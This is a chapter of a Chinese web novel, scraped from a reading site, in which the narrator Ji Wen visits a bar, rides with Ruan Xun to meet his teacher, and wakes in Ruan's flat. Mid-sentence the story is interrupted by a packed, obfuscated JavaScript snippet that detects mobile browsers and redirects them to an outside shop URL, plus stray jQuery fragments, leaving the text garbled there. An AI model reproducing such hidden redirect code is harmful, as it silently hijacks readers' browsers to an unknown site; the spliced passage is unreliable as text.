默认冷灰
24号文字
方正启体

13. 第十四章

作者:天道酬勤本书字数:K更新时间:
    我简直想不明白阿生顶着一头黄毛走到周敖面前的时候,周敖是怎么决定要这个家伙来当服务生的。


    不过我很快就明白了。


    周敖给我打电话,让我去酒吧找他,他有点事和我说。


    我已经很久没有来过了,路过背后那条小巷子的时候我有点恍惚,熟悉的感觉又回来了。


    我走到吧台,看到阿生穿得正正经经的在擦玻璃杯,头发也剃了,染黑了,看起来是精神得很。


    他抬了抬下巴,说,周哥,小文来了。


    周敖在楼上,探出个头,说,纪文,上来。


    楼上就周敖一个人,他在喝茶。


    他给我也倒了一小杯,然后说,纪文,你是不是想回来,不好意思说啊?


    我说,没有啊。我现在生活学习挺规律的。


    周敖说,如果真想回来,你别不好意思啊。你要是怕老板笑你,我给他说我让你回来的就是了。


    我说,我真没有啊,周哥,你咋这样想呢?


    周敖笑了笑说,好吧,你朋友阿生说你特别想回来干这工作,但就是不敢来。


    我艹。


    我跑下楼问阿生他都胡说了些什么。


    阿生框着我把我拉到一边,小声道,小文,我也是为了能在这工作嘛。我也没说啥,我就说是你介绍我来这里工作的,顺便恭维一下他们老板人好,管理好,员工都想留在这里嘛。当然我就拿你举列子了啊。


    我艹,敢情他就是拖我下水的。


    阿生一边把我往外推,一边继续道,我也没说错啊,你喝多了的时候自己也说挺想这里的啊。再说这边工资开得不错,干嘛不来?咱兄弟两一起干。


    我送了他一拳,第一次觉得阿生这么可气。他怎么可以到处说我对这里恋恋不舍呢?就算我确实有一点,那也不能说。


    我一想到当初我扔红包的时候有多干脆,再想到阿生可能在软狗面前添盐加醋的说我如何想要回来,此刻的心情就愈加的恼火和尴尬,面子里子都被人剥完了的感觉。


    我退出门,打算走,后面来了个人直接和我撞上了。


    我闪了一下,结果脑袋撞上门柱,疼得我直咬牙。


    撞我的人说,对不起。


    我扶着门柱蹲下来,不想抬头。


    我听出来那个声音了,是阮荀。我可以想象他会怎样奚落我,嘲笑我。


    我听见阿生特洪亮的叫了声,老板,你来拉。我去给你倒水。


    我艹,这小子竟然这么狗腿。


    软狗拉了拉我的肩膀,问我,没什么吧?


    我感觉我都快把头低到□□里面去了,我摇了摇头。


    阮荀说,纪文,你真没什么吗?


    他怎么认出来是我的?


    我拍了两下腿,站起来说,没事。


    阿生说,老板,酒给你放二楼了。


    我不由自主的往二楼瞟了一眼,以前这事都是我做,总觉得软狗是在压榨我,现在看到别人做了,又有一种说不上来的感觉。


    我给阿生说我先回学校了。


    阿生说,好。


    然后屁颠屁颠的端了几碟东西往楼上跑,他说,老板,牛肉帮你端上去了。


    我努力挤出一丝笑容,阿生干得不错,真是个会拍马屁的好员工,前途一片光明,这号码没白偷,坑我也没白坑。


    我往外走,阮荀叫住我说,一会儿我送你,我要去火车站接个人。


    我转过头看他,想说不用了。结果愣了一下,忘记说话了。


    他额头上缝了几针,还没拆线,受伤的地方看起来还是青乌青乌的。


    他笑了笑,说,等我一会儿,我找周敖拿份资料就走。


    我站在门口走也不是,不走也不是。


    大概四五分钟的样子,他就拿着文件袋出来了。


    我跟着他上了车。


    阮荀说,好久没看到你了。寒假过得怎么样?


    我说,还行,玩游戏去了。


    他指了指烟盒,说,帮我点支烟。


    我自己也点了支,抽了两口,还是没憋住,问他,狗哥,你额头怎么了?


    他说,被烟灰缸砸了。


    我说,你和人打架吗?


    他笑了笑说,别人打我。


    我实在无法想象软狗被人堵着打的场景,那些人得多叼啊,一定比郑时迁还要叼。


    我说,也有人敢打你吗?


    他转过头瞟了我一眼,笑意渐深,他说,怎么没有?你不是也打过我吗?


    我说,我没打到你,已经被你揍翻了。


    他说,现在你打我,我绝对不动手。


    他是骗我的,我要动手了,他肯定把我打成猪头。


    阮荀打开储物抽屉,说,找找,里面有两张别人送的演唱会票,这个月月底的吧,我记得。你拿去和同学看吧。


    都不用找,他的储物柜里空得很,只有一个笔记本,两张票。


    是外国流行乐队CA的,还是VIP票。


    我问他,你不去看吗?


    他说,没时间。


    我不怎么听CA的歌,但是却不想把票放回去。


    阮荀说,拿着吧,不用也浪费了。


    我把票揣进裤兜,真是后悔死了过年没给他发祝福信息,我说,谢谢。


    他说,客气什么。


    路上有点堵,他一直在看表。


    我说,狗哥,你就不送我回学校了吧,直接去火车站吧,我在那下就可以了。


    他说,你晚上有事吗?


    我说,没有,你不用管我。


    他说,那跟我去接人吧,然后一起吃个饭,吃完饭我送你回学校。


    我找不到理由说不,刚刚才拿人两张票呢。


    我问软狗去接谁。


    他说是他老师,所以不要迟到了。


    软狗的老师头发已经黑白参半了,精神却很好,60出头,一个人坐火车旅行了七八个省了。


    我虽然文化素养底下,但我也知道这位姓张的老师是个非常有学识的人,因为他和软狗说的东西,我都听不懂。


    字面意思当然明白,可是却完全不了解他们所谈论的内容那种境界。是和我的层次完全不一样的东西,尽管他们聊天天南海北,什么都谈什么都说,但是每一种描述,每一种观点都是我连想都不曾想过的。


    我坐在软狗旁边,看着张老师,突然就想到世外高人这个词,他还真给我是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552618|204368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这种感觉。


    他们两人聊得很畅快,但是又很平淡。


    我想象过软狗除了在我面前的一面之外的其他面,但亲眼看到另一面还是让我很震动,也更让觉得我和他之间的距离比我以为的还要多得多的。


    他确实有资格说我是废材。


    我真的很努力也很想听他们聊天,我甚至觉得只要我能好好听这一晚上我都可以收获良多,但是有个词叫做夏虫不语冰。


    我还没到那个层次,光是听都觉得费力。


    我只有三年级的水平,让我去做高中生的题,对我来说就是两眼一闭一抹黑。看懂了加减乘除,一个求导的公式就让我打回原形。


    所以后来不知不觉我就趴在桌子上睡着了。


    我做梦梦到我养了一只大黑背,可听话了,让做什么就做什么。


    我丢了个飞镖让他捡回来,他箭一样的就射出去了。然后飞镖突然变成了一个穿西装的男人,被黑背追得到处跑。


    我说,大黑,快把他叼回来,别让他跑了。


    大黑扑了上去,我就醒了。


    醒了才发现没对,我没在自己的房间,我也没在寝室。


    我跳下床穿好衣服,把裤兜里的手机摸出来。


    我想起昨天晚上我和张老师在吃饭呢。


    我听到门外面有声音,打开门走出去,是个50来岁的胖胖的妇女在擦桌子。


    她看了我一眼,笑着说,起来啦,再不起来我都要去敲你门了,这都要11点了。阮总上班去了,他说他今天要出差,你回学校就去楼下坐公交或者地铁都行。


    胖阿姨叨叨絮絮说了一阵,跟个导游一样把屋子里里外外都给我介绍了一遍。


    我其实只是问她卫生间在哪里。


    她说,吃了中午再走吧,我饭都做好了。


    她根本不等我说话,就把两碗饭都乘好端出来了。


    我说,阿姨,这是阮荀家吗?


    她说,我姓常。是啊,不过他经常在外面,一周可能就回来一两次。


    我四处打量了一番,挺普通的装修,现代风格。


    常阿姨说,这房子都七八年,除了沙发换过一套,其他的原来啥样现在还啥样。当时装修还是我亲自来监工的,累啊,那时候还比现在精神呢。


    我说,装修得挺好的,实用耐看。


    她就笑说,是啊,有些装修看着好看,过不了多久就出问题。年轻人,图好看不图实用,就说上次阮总新买的烟灰缸吧,才用了多久就摔坏了。他买回来我就说那东西太薄了,做得倒漂亮。


    我从来不知道有人在吃饭的时候这么能说,我在家和我爸吃饭,一顿说不了十句话,大多数时候就是闷头吃。


    可能中年妇女就是这样。


    我突然想起我妈,还有点模糊的印象,我小学一年级的时候她就去世了,得病死的。


    我出生之后没多久她就和我爸离婚了,重新找了个,但没要孩子。她偶尔带我出去玩,总是给我我爸不会给我买的东西,我印象中她很漂亮,有一次来幼儿园接我,小朋友都在看我妈。


    那是我小时候最骄傲的时候。


    如果我妈还活着,我不知道她会不会发福成常阿姨这样。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)